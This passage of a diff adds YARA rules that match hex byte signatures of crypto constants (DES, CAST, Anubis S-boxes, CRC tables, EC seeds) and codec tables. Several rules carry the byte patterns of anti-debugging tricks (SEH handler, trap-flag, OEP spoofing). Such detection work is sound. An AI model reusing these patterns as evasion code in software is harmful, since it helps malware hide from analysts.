303f4f30c0cfdfcf4f3020314141414ecebebeb06061717faf9e8e817170606e9e8f9f90000000009090909f7f6f6f6fdfc0b0c0303f4f30c0cfdfcf4f3020314141414ecebebeb06061717faf9e8e817170606e9e8f9f90000000009090909f7f6f6f6fdfc0b0c0303f4f30c0cfdfcf4f3020314141414ecebebeb06061717faf9e8e817170606e9e8f9f90000000009090909f7f6f6f6fdfc0b0c0303f4f30c0cfdfcf4f3020314141414ecebebeb06061717faf9e8e817170606e9e8f9f90000000009090909f7f6f6f6fdfc0b0c0303f4f30c0cfdfcf4f3020314141414ecebebeb06061717faf9e8e817170606e9e8f9f90000000009090909f7f6f6f6fdfc0b0c0303f4f30c0cfdfcf4f3020314141414ecebebeb06061717faf9e8e817170606e9e8f9f9000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_8_Dallas_Maxim_poly_0x8c__8_byt_refl_True_
+{
+strings:
+	$a0 = { 0004080c1014181c2024282c3034383c23272b2f33373b3f03070b0f13171b1f25212d2935313d3905010d0915111d1906020e0a16121e1a26222e2a36323e3a292d2125393d3135090d0105191d11150a0e02061a1e12162a2e22263a3e32360c0804001c1814102c2824203c3834302f2b27233f3b37330f0b07031f1b17133135393d2125292d1115191d0105090d12161a1e02060a0e32363a3e22262a2e14101c1804000c0834303c3824202c2837333f3b27232f2b17131f1b07030f0b181c1014080c0004383c3034282c20243b3f33372b2f23271b1f13170b0f03073d3935312d2925211d1915110d0905011e1a16120e0a06023e3a36322e2a2622 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__SEH_handler_trick__8_byt_23_
+{
+strings:
+	$a0 = { 5064ff35000000006489250000000033c0c70000010000 }
+
+condition:
+	$a0
+}
+
+	
+rule Borland_Jfif_CbGTable__32_lil_1024_
+{
+strings:
+	$a0 = { E73AD5FF7190D5FFFBE5D5FF853BD6FF0F91D6FF9AE6D6FF243CD7FFAE91D7FF38E7D7FFC23CD8FF4D92D8FFD7E7D8FF613DD9FFEB92D9FF75E8D9FF003EDAFF8A93DAFF14E9DAFF9E3EDBFF2894DBFFB3E9DBFF3D3FDCFFC794DCFF51EADCFFDB3FDDFF6595DDFFF0EADDFF7A40DEFF0496DEFF8EEBDEFF1841DFFFA396DFFF2DECDFFFB741E0FF4197E0FFCBECE0FF5642E1FFE097E1FF6AEDE1FFF442E2FF7E98E2FF09EEE2FF9343E3FF1D99E3FFA7EEE3FF3144E4FFBC99E4FF46EFE4FFD044E5FF5A9AE5FFE4EFE5FF6F45E6FFF99AE6FF83F0E6FF0D46E7FF979BE7FF22F1E7FFAC46E8FF369CE8FFC0F1E8FF4A47E9FFD59CE9FF5FF2E9FFE947EAFF739DEAFFFDF2EAFF8848EBFF129EEBFF9CF3EBFF2649ECFFB09EECFF3BF4ECFFC549EDFF4F9FEDFFD9F4EDFF634AEEFFEE9FEEFF78F5EEFF024BEFFF8CA0EFFF16F6EFFFA14BF0FF2BA1F0FFB5F6F0FF3F4CF1FFC9A1F1FF54F7F1FFDE4CF2FF68A2F2FFF2F7F2FF7C4DF3FF07A3F3FF91F8F3FF1B4EF4FFA5A3F4FF2FF9F4FFBA4EF5FF44A4F5FFCEF9F5FF584FF6FFE2A4F6FF6DFAF6FFF74FF7FF81A5F7FF0BFBF7FF9550F8FF20A6F8FFAAFBF8FF3451F9FFBEA6F9FF48FCF9FFD351FAFF5DA7FAFFE7FCFAFF7152FBFFFBA7FBFF86FDFBFF1053FCFF9AA8FCFF24FEFCFFAE53FDFF39A9FDFFC3FEFDFF4D54FEFFD7A9FEFF61FFFEFFEC54FFFF76AAFFFF000000008A55000014AB00009F00010029560100B3AB01003D010200C756020052AC0200DC01030066570300F0AC03007A020400055804008FAD040019030500A35805002DAE0500B803060042590600CCAE060056040700E05907006BAF0700F50408007F5A080009B00800930509001E5B0900A8B0090032060A00BC5B0A0046B10A00D1060B005B5C0B00E5B10B006F070C00F95C0C0084B20C000E080D00985D0D0022B30D00AC080E00375E0E00C1B30E004B090F00D55E0F005FB40F00EA091000745F1000FEB41000880A1100126011009DB51100270B1200B16012003BB61200C50B130050611300DAB61300640C1400EE61140078B71400030D15008D62150017B81500A10D16002B631600B6B81600400E1700CA63170054B91700DE0E180069641800F3B918007D0F19000765190091BA19001C101A00A6651A0030BB1A00BA101B0044661B00CFBB1B0059111C00E3661C006DBC1C00F7111D0082671D000CBD1D0096121E0020681E00AABD1E0035131F00BF681F0049BE1F00D31320005D692000E8BE200072142100FC69210086BF2100101522009B6A220025C02200AF152300396B2300C3C023004D162400D86B240062C12400EC162500766C250000C225008B172600156D26009FC2260029182700B36D27003EC32700C8182800526E2800DCC3280066192900F16E29007BC42900051A2A008F6F2A00 }
+
+condition:
+	$a0
+}
+
+	
+rule libavformat_CODEC_ID_AMR_WB_packet_size__8_byt_16_
+{
+strings:
+	$a0 = { 12182125292f333b3d06060000000101 }
+
+condition:
+	$a0
+}
+
+	
+rule RawDES_sbox5__32_big_256_
+{
+strings:
+	$a0 = { 00000100020801000208000042000100000800000000010040000000020800004008010000080000020001004008010042000100420800000008010040000000020000004008000040080000000000004000010042080100420801000200010042080000400001000000000042000000020801000200000042000000000801000008000042000100000001000200000040000000020800004200010040080100020001004000000042080000020801004008010000000100020000004208000042080100000801004200000042080100020800000000000040080000420000000008010002000100400001000008000000000000400800000208010040000100 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pan_pow_2_30_pos__flt32___32_big_160_
+{
+strings:
+	$a0 = { 3f8000003f8000003f8000003f8000003f8000003f807dff3f807dff3f80fc7a3f80fc7a3f80fc7a3f80fc7a3f80fc7a3f81fae63f827ad83f827ad83f817b723f81fae63f82fb483f847f903f8501fd3f81fae63f82fb483f847f903f868c473f8795973f827ad83f83fda43f868c473f8927843f8abe193f82fb483f8584ea3f88a1073f8bcfc33f8e85313f83fda43f8710a33f8abe193f8e85313f92669d }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__PeID_GenOEP_Spoofing__8_byt_48_
+{
+strings:
+	$a0 = { 558bec6aff68f840400068f41d400064a100000000506489250000000083ec585356578965e8ff155840400033d28ad4 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_nelly_dequantization_table__flt32___32_lil_508_
+{
+strings:
+	$a0 = { 00000000c5e558bfdcf3383ff12ac3bf0403e8be512fc03e9d63bc3fa1bafdbf31b298bf5c3b15bf0e168ebd842bc83ee92b683f3a3ebe3fba2d0e40e3e118c0b743e7bfa48cb4bff7e689bf19ac4cbfa1490ebfabb3aabeb6a007be37a9683d3d7f823ee067f43e761a3d3fd2ab853ff99db23ffca9e73f7f141940a7eb18c01f86febf022ee0bf603bc8bf0934b2bf20b59bbf750286bf77f863bf13ba43bfbc3c25bf38a306bf55d9cfbe251f9bbefab856bee5ecfdbde84a44bde621d33c0e13cd3d22e3313e3161843e5b5fb43e55fae93e87a7133fe947333f7db1573fa033813f3350973f0c3ead3f431bc43f87dbdd3f3272fc3fc975194023d724c054ab03c0c901f3bf7deae2bf0248d5bffa7fc9bf1ceabfbfc440b7bfcbbfaebfa569a6bf27329dbf755594bfc1ca8bbfcbbc81bfcc976bbf032654bf14cc3cbf0a1025bfc9200fbf81aff8bec972d2befb22b1beb9fa91be2ac86fbe228c3fbe46b613be98bfe2bd897c97bdfdc015bd1c28f0bb1dcca63cfc36443de2009a3da7e8c83d95eff93dcf66153e5e802d3e6dc6493e1aa6663e68e9823efaf2923e07b1a33ec285b43ed11ec73eaaf2dd3e4432f43e4f3e053ffe7f103f67b91c3fe9282b3f3df23b3f909f4d3f16df603f1de5743f1e15853f6d8f903f874d9c3f766da73f7784b33f30bac03f07b7cf3f26e1e23f1cb7f83fcd951240 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_512__flt32___32_big_4096_
+{
+strings:
+	$a0 = { 3f800000000000003f7ffb113c490e903f7fec433cc90ab03f7fd3973d16c32c3f7fb10f3d48fb303f7f84ab3d7b2b753f7f4e6d3d96a9053f7f0e583dafb6813f7ec46d3dc8bd363f7e70b03de1bc2e3f7e13243dfab2733f7dabcc3e09cf873f7d3aac3e1640833f7cbfc93e22abb63f7c3b283e2f10a33f7baccd3e3b6ecf3f7b14be3e47c5c23f7a73023e5415023f79c79d3e605c133f7912983e6c9a803f7853f83e78cfcd3f778bc53e827dc13f76ba073e888e943f75dec63e8e9a223f74fa0b3e94a0313f740bdd3e9aa0863f7314473ea09ae53f7213523ea68f133f7109083eac7cd43f6ff5733eb263ef3f6ed89e3eb8442a3f6db2933ebe1d4a3f6c835e3ec3ef163f6b4b0c3ec9b9543f6a09a63ecf7bcb3f68bf3b3ed536423f676bd83edae8803f660f883ee0924f3f64aa593ee633753f633c5a3eebcbbb3f61c5973ef15aea3f6046213ef6e0ca3f5ebe053efc5d283f5d2d533f00e7e43f5b941a3f039c3d3f59f26a3f064b833f5848533f08f59b3f5695e53f0b9a6b3f54db313f0e39da3f5318483f10d3cd3f514d3d3f13682b3f4f7a1f3f15f6da3f4d9f023f187fc03f4bbbf83f1b02c53f49d1123f1d7fd23f47de653f1ff6cb3f45e4033f22679a3f43e2003f24d2253f41d8703f2736563f3fc7673f2994153f3daef93f2beb4a3f3b8f3b3f2e3bde3f3968423f3085bb3f373a223f32c8ca3f3504f33f3504f33f32c8c93f373a233f3085ba3f3968423f2e3bde3f3b8f3b3f2beb493f3daefa3f2994143f3fc7673f2736553f41d8713f24d2253f43e2013f2267993f45e4033f1ff6ca3f47de663f1d7fd13f49d1123f1b02c53f4bbbf83f187fc03f4d9f023f15f6d93f4f7a1f3f13682a3f514d3d3f10d3cd3f5318493f0e39d93f54db323f0b9a6b3f5695e53f08f59b3f5848533f064b823f59f26a3f039c3c3f5b941b3f00e7e53f5d2d533efc5d273f5ebe053ef6e0c93f6046223ef15ae73f61c5983eebcbbb3f633c5a3ee633743f64aa593ee0924d3f660f883edae8813f676bd83ed536413f68bf3c3ecf7bc93f6a09a73ec9b9503f6b4b0c3ec3ef153f6c835e3ebe1d483f6db2933eb844273f6ed89e3eb263ef3f6ff5733eac7cd33f7109083ea68f103f7213533ea09ae23f7314483e9aa0863f740bdd3e94a0303f74fa0b3e8e9a1f3f75dec73e888e933f76ba073e827dc03f778bc53e78cfc83f7853f83e6c9a813f7912983e605c123f79c79d3e5414fe3f7a73023e47c5bc3f7b14bf3e3b6ecf3f7baccd3e2f10a03f7c3b283e22abb13f7cbfc93e1640853f7d3aac3e09cf853f7dabcc3dfab26c3f7e13243de1bc223f7e70b03dc8bd353f7ec46d3dafb67b3f7f0e583d96a8fb3f7f4e6d3d7b2b773f7f84ab3d48fb293f7fb10f3d16c31c3f7fd3983cc90a7e3f7fec433c490e863f7ffb11b33bbd2e3f800000bc490ee43f7ffb11bcc90aad3f7fec43bd16c3333f7fd397bd48fb413f7fb10fbd7b2b8e3f7f84abbd96a9063f7f4e6dbdafb6873f7f0e58bdc8bd413f7ec46dbde1bc2e3f7e70b0bdfab2773f7e1323be09cf8b3f7dabcbbe16408a3f7d3aacbe22abb73f7cbfc9be2f10a63f7c3b28be3b6ed53f7baccdbe47c5c23f7b14bebe5415043f7a7302be605c183f79c79dbe6c9a863f791297be78cfcd3f7853f8be827dc23f778bc5be888e963f76ba07be8e9a223f75dec6be94a0333f74fa0abe9aa0893f740bddbea09ae43f731447bea68f133f721352beac7cd63f710908beb263f23f6ff572beb8442a3f6ed89ebebe1d4b3f6db293bec3ef183f6c835ebec9b9533f6b4b0cbecf7bcb3f6a09a6bed536403f68bf3cbedae8803f676bd8bee0924f3f660f87bee633763f64aa59beebcbbe3f633c59bef15aed3f61c597bef6e0cf3f604620befc5d263f5ebe06bf00e7e43f5d2d53bf039c3d3f5b941abf064b833f59f269bf08f59c3f584852bf0b9a6d3f5695e4bf0e39dc3f54db30bf10d3cc3f531849bf13682a3f514d3dbf15f6da3f4f7a1fbf187fc13f4d9f02bf1b02c73f4bbbf7bf1d7fd33f49d111bf1ff6cd3f47de63bf2267993f45e404bf24d2253f43e200bf2736563f41d870bf2994153f3fc766bf2beb4b3f3daef8bf2e3be03f3b8f39bf3085bd3f396840bf32c8c93f373a23bf3504f33f3504f3bf373a233f32c8c9bf3968433f3085babf3b8f3c3f2e3bddbf3daefb3f2beb48bf3fc7693f299412bf41d8703f273656bf43e2013f24d225bf45e4043f226799bf47de663f1ff6cabf49d1133f1d7fd0bf4bbbf93f1b02c4bf4d9f043f187fbdbf4f7a1f3f15f6d9bf514d3d3f13682abf5318493f10d3ccbf54db323f0e39d9bf5695e63f0b9a69bf5848543f08f598bf59f26c3f064b80bf5b941a3f039c3dbf5d2d533f00e7e4bf5ebe063efc5d25bf6046223ef6e0c8bf61c5993ef15ae6bf633c5b3eebcbb6bf64aa593ee63376bf660f883ee0924fbf676bd83edae87fbf68bf3c3ed5363fbf6a09a73ecf7bc7bf6b4b0c3ec9b94fbf6c83603ec3ef10bf6db2933ebe1d4bbf6ed89e3eb8442abf6ff5733eb263eebf7109093eac7cd2bf7213533ea68f0fbf7314483ea09ae0bf740bde3e9aa081bf74fa0b3e94a033bf75dec63e8e9a22bf76ba073e888e92bf778bc53e827dbebf7853f83e78cfc5bf7912983e6c9a76bf79c79e3e605c08bf7a73023e541503bf7b14bf3e47c5c1bf7baccd3e3b6eccbf7c3b283e2f109dbf7cbfc93e22abaebf7d3aac3e16407abf7dabcc3e09cf7abf7e13233dfab276bf7e70b03de1bc2dbf7ec46d3dc8bd30bf7f0e583dafb675bf7f4e6e3d96a8f5bf7f84ab3d7b2b4bbf7fb10f3d48fafdbf7fd3973d16c330bf7fec433cc90aa6bf7ffb113c490e573f800000000000003f7fec433cc90ab03f7fb10f3d48fb303f7f4e6d3d96a9053f7ec46d3dc8bd363f7e13243dfab2733f7d3aac3e1640833f7c3b283e2f10a33f7b14be3e47c5c23f79c79d3e605c133f7853f83e78cfcd3f76ba073e888e943f74fa0b3e94a0313f7314473ea09ae53f7109083eac7cd43f6ed89e3eb8442a3f6c835e3ec3ef163f6a09a63ecf7bcb3f676bd83edae8803f64aa593ee633753f61c5973ef15aea3f5ebe053efc5d283f5b941a3f039c3d3f5848533f08f59b3f54db313f0e39da3f514d3d3f13682b3f4d9f023f187fc03f49d1123f1d7fd23f45e4033f22679a3f41d8703f2736563f3daef93f2beb4a3f3968423f3085bb3f3504f33f3504f33f3085ba3f3968423f2beb493f3daefa3f2736553f41d8713f2267993f45e4033f1d7fd13f49d1123f187fc03f4d9f023f13682a3f514d3d3f0e39d93f54db323f08f59b3f5848533f039c3c3f5b941b3efc5d273f5ebe053ef15ae73f61c5983ee633743f64aa593edae8813f676bd83ecf7bc93f6a09a73ec3ef153f6c835e3eb844273f6ed89e3eac7cd33f7109083ea09ae23f7314483e94a0303f74fa0b3e888e933f76ba073e78cfc83f7853f83e605c123f79c79d3e47c5bc3f7b14bf3e2f10a03f7c3b283e1640853f7d3aac3dfab26c3f7e13243dc8bd353f7ec46d3d96a8fb3f7f4e6d3d48fb293f7fb10f3cc90a7e3f7fec433f800000000000003f7fb10f3d48fb303f7ec46d3dc8bd363f7d3aac3e1640833f7b14be3e47c5c23f7853f83e78cfcd3f74fa0b3e94a0313f7109083eac7cd43f6c835e3ec3ef163f676bd83edae8803f61c5973ef15aea3f5b941a3f039c3d3f54db313f0e39da3f4d9f023f187fc03f45e4033f22679a3f3daef93f2beb4a3f3504f33f3504f33f2beb493f3daefa3f2267993f45e4033f187fc03f4d9f023f0e39d93f54db323f039c3c3f5b941b3ef15ae73f61c5983edae8813f676bd83ec3ef153f6c835e3eac7cd33f7109083e94a0303f74fa0b3e78cfc83f7853f83e47c5bc3f7b14bf3e1640853f7d3aac3dc8bd353f7ec46d3d48fb293f7fb10fb33bbd2e3f800000bd48fb413f7fb10fbdc8bd413f7ec46dbe16408a3f7d3aacbe47c5c23f7b14bebe78cfcd3f7853f8be94a0333f74fa0abeac7cd63f710908bec3ef183f6c835ebedae8803f676bd8bef15aed3f61c597bf039c3d3f5b941abf0e39dc3f54db30bf187fc13f4d9f02bf2267993f45e404bf2beb4b3f3daef8bf3504f33f3504f3bf3daefb3f2beb48bf45e4043f226799bf4d9f043f187fbdbf54db323f0e39d9bf5b941a3f039c3dbf61c5993ef15ae6bf676bd83edae87fbf6c83603ec3ef10bf7109093eac7cd2bf74fa0b3e94a033bf7853f83e78cfc5bf7b14bf3e47c5c1bf7d3aac3e16407abf7ec46d3dc8bd30bf7fb10f3d48fafd3f800000000000003f7f4e6d3d96a9053f7d3aac3e1640833f79c79d3e605c133f74fa0b3e94a0313f6ed89e3eb8442a3f676bd83edae8803f5ebe053efc5d283f54db313f0e39da3f49d1133f1d7fd13f3daef93f2beb4a3f3085ba3f3968423f2267993f45e4033f13682b3f514d3d3f039c3c3f5b941b3ee633743f64aa593ec3ef153f6c835e3ea09ae53f7314473e78cfd03f7853f83e2f10a03f7c3b283dc8bd353f7ec46d3cc90abe3f7fec43bd48fb413f7fb10fbdfab2773f7e1323be47c5c23f7b14bebe888e923f76ba07beac7cd23f710908becf7bcb3f6a09a6bef15aed3f61c597bf08f59c3f584852bf187fc13f4d9f02bf2736563f41d870bf3504f33f3504f3bf41d8703f273656bf4d9f023f187fc1bf5848523f08f59cbf61c5973ef15aedbf6a09a73ecf7bc7bf7109093eac7cd2bf76ba073e888e92bf7b14bf3e47c5c1bf7e13233dfab276bf7fb10f3d48fb3dbf7fec43bcc90a84bf7ec46dbdc8bd47bf7c3b28be2f10a9bf7853f8be78cfd0bf731447bea09ae6bf6c835ebec3ef15bf64aa59bee63374bf5b941bbf039c3cbf514d3ebf136829bf45e405bf226798bf396841bf3085bcbf2beb49bf3daefabf1d7fd1bf49d113bf0e39d6bf54db34befc5d27bf5ebe05bedae87bbf676bd9beb8442cbf6ed89dbe94a02dbf74fa0bbe605c1cbf79c79dbe16407fbf7d3aacbd96a91fbf7f4e6d3f800000000000003f7ec46d3dc8bd363f7b14be3e47c5c23f74fa0b3e94a0313f6c835e3ec3ef163f61c5973ef15aea3f54db313f0e39da3f45e4033f22679a3f3504f33f3504f33f2267993f45e4033f0e39d93f54db323ef15ae73f61c5983ec3ef153f6c835e3e94a0303f74fa0b3e47c5bc3f7b14bf3dc8bd353f7ec46d3f800000000000003f7b14be3e47c5c23f6c835e3ec3ef163f54db313f0e39da3f3504f33f3504f33f0e39d93f54db323ec3ef153f6c835e3e47c5bc3f7b14bfb33bbd2e3f800000be47c5c23f7b14bebec3ef183f6c835ebf0e39dc3f54db30bf3504f33f3504f3bf54db323f0e39d9bf6c83603ec3ef10bf7b14bf3e47c5c13f800000000000003f74fa0b3e94a0313f54db313f0e39da3f2267993f45e4033ec3ef153f6c835e3dc8bd353f7ec46dbe47c5c23f7b14bebef15aed3f61c597bf3504f33f3504f3bf61c5973ef15aedbf7b14bf3e47c5c1bf7ec46dbdc8bd47bf6c835ebec3ef15bf45e405bf226798bf0e39d6bf54db34be94a02dbf74fa0b3f800000000000003f6c835e3ec3ef163f3504f33f3504f33ec3ef153f6c835e3f800000000000003f3504f33f3504f3b33bbd2e3f800000bf3504f33f3504f33f800000000000003ec3ef153f6c835ebf3504f33f3504f3bf6c835ebec3ef153f800000000000003f800000000000003f80000000000000324cde2ebf800000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qdm2_sb_noise_attenuation__flt64___64_big_256_
+{
+strings:
+	$a0 = { 000000000000000000000000000000003fd33333333333333fd999999999999a3fe00000000000003fe66666666666663ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff0000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_cb_0__16_big_64_
+{
+strings:
+	$a0 = { 8240836484ce865d880589de8bd78df4905192e295de990f9c81a079a54caad2b18ab90ac124c9ccd339ddd3e9d6f893096f1aca29ec381f45f9546a63c373b5 }
+
+condition:
+	$a0
+}
+
+	
+rule Anubis_T4__32_lil_1024_
+{
+strings:
+	$a0 = { a7a7a7a7d3d3d3d3e6e6e6e671717171d0d0d0d0acacacac4d4d4d4d797979793a3a3a3ac9c9c9c991919191fcfcfcfc1e1e1e1e4747474754545454bdbdbdbd8c8c8c8ca5a5a5a57a7a7a7afbfbfbfb63636363b8b8b8b8ddddddddd4d4d4d4e5e5e5e5b3b3b3b3c5c5c5c5bebebebea9a9a9a9888888880c0c0c0ca2a2a2a239393939dfdfdfdf29292929dadadada2b2b2b2ba8a8a8a8cbcbcbcb4c4c4c4c4b4b4b4b22222222aaaaaaaa242424244141414170707070a6a6a6a6f9f9f9f95a5a5a5ae2e2e2e2b0b0b0b0363636367d7d7d7de4e4e4e433333333ffffffff6060606020202020080808088b8b8b8b5e5e5e5eabababab7f7f7f7f787878787c7c7c7c2c2c2c2c57575757d2d2d2d2dcdcdcdc6d6d6d6d7e7e7e7e0d0d0d0d5353535394949494c3c3c3c32828282827272727060606065f5f5f5fadadadad676767675c5c5c5c55555555484848480e0e0e0e52525252eaeaeaea424242425b5b5b5b5d5d5d5d303030305858585851515151595959593c3c3c3c4e4e4e4e383838388a8a8a8a7272727214141414e7e7e7e7c6c6c6c6dededede505050508e8e8e8e92929292d1d1d1d17777777793939393454545459a9a9a9acececece2d2d2d2d0303030362626262b6b6b6b6b9b9b9b9bfbfbfbf969696966b6b6b6b3f3f3f3f0707070712121212aeaeaeae4040404034343434464646463e3e3e3edbdbdbdbcfcfcfcfececececccccccccc1c1c1c1a1a1a1a1c0c0c0c0d6d6d6d61d1d1d1df4f4f4f4616161613b3b3b3b10101010d8d8d8d868686868a0a0a0a0b1b1b1b10a0a0a0a696969696c6c6c6c49494949fafafafa76767676c4c4c4c49e9e9e9e9b9b9b9b6e6e6e6e99999999c2c2c2c2b7b7b7b798989898bcbcbcbc8f8f8f8f858585851f1f1f1fb4b4b4b4f8f8f8f8111111112e2e2e2e00000000252525251c1c1c1c2a2a2a2a3d3d3d3d050505054f4f4f4f7b7b7b7bb2b2b2b23232323290909090afafafaf19191919a3a3a3a3f7f7f7f7737373739d9d9d9d1515151574747474eeeeeeeecacacaca9f9f9f9f0f0f0f0f1b1b1b1b7575757586868686848484849c9c9c9c4a4a4a4a979797971a1a1a1a65656565f6f6f6f6edededed09090909bbbbbbbb2626262683838383ebebebeb6f6f6f6f81818181040404046a6a6a6a434343430101010117171717e1e1e1e187878787f5f5f5f58d8d8d8de3e3e3e3232323238080808044444444161616166666666621212121fefefefed5d5d5d531313131d9d9d9d935353535181818180202020264646464f2f2f2f2f1f1f1f156565656cdcdcdcd82828282c8c8c8c8babababaf0f0f0f0efefefefe9e9e9e9e8e8e8e8fdfdfdfd89898989d7d7d7d7c7c7c7c7b5b5b5b5a4a4a4a42f2f2f2f95959595131313130b0b0b0bf3f3f3f3e0e0e0e037373737 }
+
+condition:
+	$a0
+}
+
+	
+rule CAST128___CAST256_sbox4__32_lil_1024_
+{
+strings:
+	$a0 = { 2004b39ddee9b61fef7bbea798a273d2db7b4f4a578cad6443045185d10e02faff7a287e63b60fe6a1355f0920f1eb79439d05fdb1b79764631f64f3df4a1e245f7f1428cdb8a24f400043c92022c30c300bd3fd4f37a5c0d9002d1d157b14241a114dee6751ca0f4c90ff71fe5f192d5f64051afefe130cca081b082101170500015380fe5e3ee8f8f49aac0127e77f5feeb8d26142df068a9b9ebb25ea9372dfff84ce018871f5044bd63d3b266fa20084d47ee6eb7e54a04c6d44f5d6f36cdfab4926f5c7a0aec18c3336937e3f50612077d3e138b611030e5072bbb20ef82e50e0abde778dec811e975746674fe1005433c98f31206999bb1d08a504c3ff0518354de35c3d7fc666c8a6a9cc5b5dea6fecda916f929f2f22469f7d4691398e6dbfa54fc4431102839543eb4e21d0b88320020c18b63f1e93f818e65816283e6e4826708ad78bc1e477747ce006b5250a2df3028b097981bbeae4233b122838adde6916ca7415621b87dfb7401c21f99e1aa57b371400c88a1e0403401109d2e459bdd556d1e3d576e84f40a3912fdee87b55a7e4ea00ecc2e50ca6bbb44dffbd56e7ac6933dd35b017ec27235706b0c8af9991c3c8561c81656b1961145e75cb856e02c007be775532c2ecf43f892dc9bf5b253becd0b71a80b7243b6d8def63c720fca566c38028389c0532ce0a8a54c9aac7d7a1ec32fa1a045a62161d2c900167547a759bf777d43131b02691db6fcc36468b0bc7486ae6d9795ae556eb4c6a02ff7e4352b4768f2fa580f90de3cd7486eb04daed04bea917dff4182c9d7f74b7b4f72aab204dc3ef7c6b092e54a2411735a0b6e5f6423d21267c1c2c0ff5c261f9da5265f831c2d2690f1325a27f16d8c8f21804a6961a00ab26150d215c3163ec720a5efdfeba49d908791886bd0d8da77011310c649b3ed7103eccb6d3cad588c3ae0ce10130f7ff8a726ca1e2ea716ef39a1f2fd1cbcf1784dec16bbe07acd8a144cb560f9b8bc3883901ca2fc5b1cd31beb4062878d8e2a4a31232e57d6fb67efd5800e91ed0c2ffad24c50f99f4c5aa1197957b1d00d2e7e582f67398109630610021952dc3ff21a1ad158490297f97bb7fdbb39eaf2aedc92965a4e25c2cf330a7e83faad091c05c8ae72c9ed4a954e40c86cd0ad619195f0103910777f63aa0de5e56a878df56e3debe5cf02187e3758b5106c5b3efc3a5b8d2b6eed877be23e5294515c2dfef692ffb7ae6afb2c470f45bebe0f37698ccd60c46e4393885da1f2f838719677300caf84491a99e296b2995c22f49abbe6692696e67b5daddd39b2f057edf1c7025dbee515e1be62453f66ce3fc6a04cc16033e214486d059dcb71f29657943fdd6cc79398241f6cd2b934dc357b682d2df4e0c29e57a6b53b93cfe201e857e553398b0f0ec1372b3ffd3c1c5853fd27eef0a }
+
+condition:
+	$a0
+}
+
+	
+rule CAST_256_t_m__32_big_768_
+{
+strings:
+	$a0 = { 5a827999d151d6a1482133a9bef090b135bfedb9ac8f4ac1235ea7c99a2e04d110fd61d987ccbee1fe9c1be9756b78f1ec3ad5f9630a3301d9d9900950a8ed11c7784a193e47a721b51704292be66131a2b5be3919851b41905478490723d551c95c653a402bc242b6fb1f4a2dca7c52a499d95a1b6936629238936a0907f0727fd74d7af6a6aa826d76078ae44564925b14c19ad1e41ea248b37baabf82d8b2365235baad2192c223f0efca9ac04cd2118fa9da885f06e2ff2e63ea75fdc0f2383650dbaf05ade325d50aeb9ca467f31373c4fb8a43220301127f0b77e1dc13eeb1391b65809623dc4ff32b531f5033c9eead3b40be0a43b78d674b2e5cc453a52c215b1bfb7e6392cadb6b099a38738069957bf738f2836e084f8be4d7ac93a7103c7c1ddf998494aef68c0b7e5394824db09cf91d0da46fec6aace6bbc7b45d8b24bcd45a81c44b29deccc1f93bd438c898dcaf97f5e4266752ec9d36aff414060cfc8ad56a0401a4c70c78742414ef43811c6612de24dce23b2c53b1983415ea281d8cb985250388e22d7a583f35f1279c3d67f6f945dec6564d5595b355cc65105d43346d65ba03ca6d30d32775a7a2847d1e71e18595413e8d0c109b9582dff89df9af55a5707eb2ade74e0fb55e1d6cbdd4ecc9c54bbc26cdc28b83d584c413befb9370c67262cdcee9322ad6600187ded6d0e4e64da041eec46f9ef63b3efbfeb20e590628ddb60e9fad1316167c701e8d4bcd26041b2a2e7aea8736f1b9e43e68894146df589e4e5627fb56ccf7585e43c6b566ba96126e31656f76f39dff5f6a6d5c67e13cb96f580c1677cedb737f45aad087bc7a2d8f33498a97aa18e79f20e844a797b7a1af0e86feb785565bbffc25b8c772f515cfe9c472d76093cfdfd7632ce74e3289efc501e6f73bd143ffb2a0a107296ffe0fa03f5b176277eb00d94748085016a510c6e602183db55f20b484bc282b541930a223763818f2d3408fc2304806918d507d60ea58f43047606affa468e1cf0170589e5e78cf6dbb80463d1888bd0c759033dbd298aaab2fa0217a8ca89849e9b00f1946b8 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_old_15_tap_filter__flt64___64_big_120_
+{
+strings:
+	$a0 = { bf54173825243a99bf6e22cb7357f63a3f819442e166548f3f9558e0cdf2ae62bfa9be565889a6babfbf1242be1e55de3fd2bf3ff2be6d373fe6ab4832fbd3b43fd2bf3ff2be6d37bfbf1242be1e55debfa9be565889a6ba3f9558e0cdf2ae623f819442e166548fbf6e22cb7357f63abf54173825243a99 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Popf_and_the_trap_flag__8_byt_9_
+{
+strings:
+	$a0 = { 9cc704e4000100009d }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_quantizer1__flt64___64_lil_256_
+{
+strings:
+	$a0 = { a53dd29e9a04eb3f180af91c2f4fde3f177e703e752cf73f2255f3a0c953d13fb38961c1dcd2e73f46d26ef431dff33f04a9143b1a87fd3f0000000000000000c0c9577ef0cceb3f5438a3627380de3fcc988235cea6f73fe223413c3b6ed03f2f35423f532fe83f4e86996cf22af53f83177d05694600400000000000000000a8978c210849e83f7452eb3f63ede33f0af7cabc5557f43f047289230f44d63f80ca84a1061ae83f780e65a88a69f23f6422a5d93c0efa3f00000000000000004f1f813ffc7ce83f48ddcebef2a0e43f0266be839f38f43ffab2d5615c1cd63fad69ff7f7371e83fb9a981e6736ef33fd8abd914d938fc3f0000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_SECG_PRIME_112R1_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 00f50b028e4d696e676875615175290472783fb1 }
+
+condition:
+	$a0
+}
+
+	
+rule libdjvu_IW44_norm_of_all_wavelets__flt64___64_big_128_
+{
+strings:
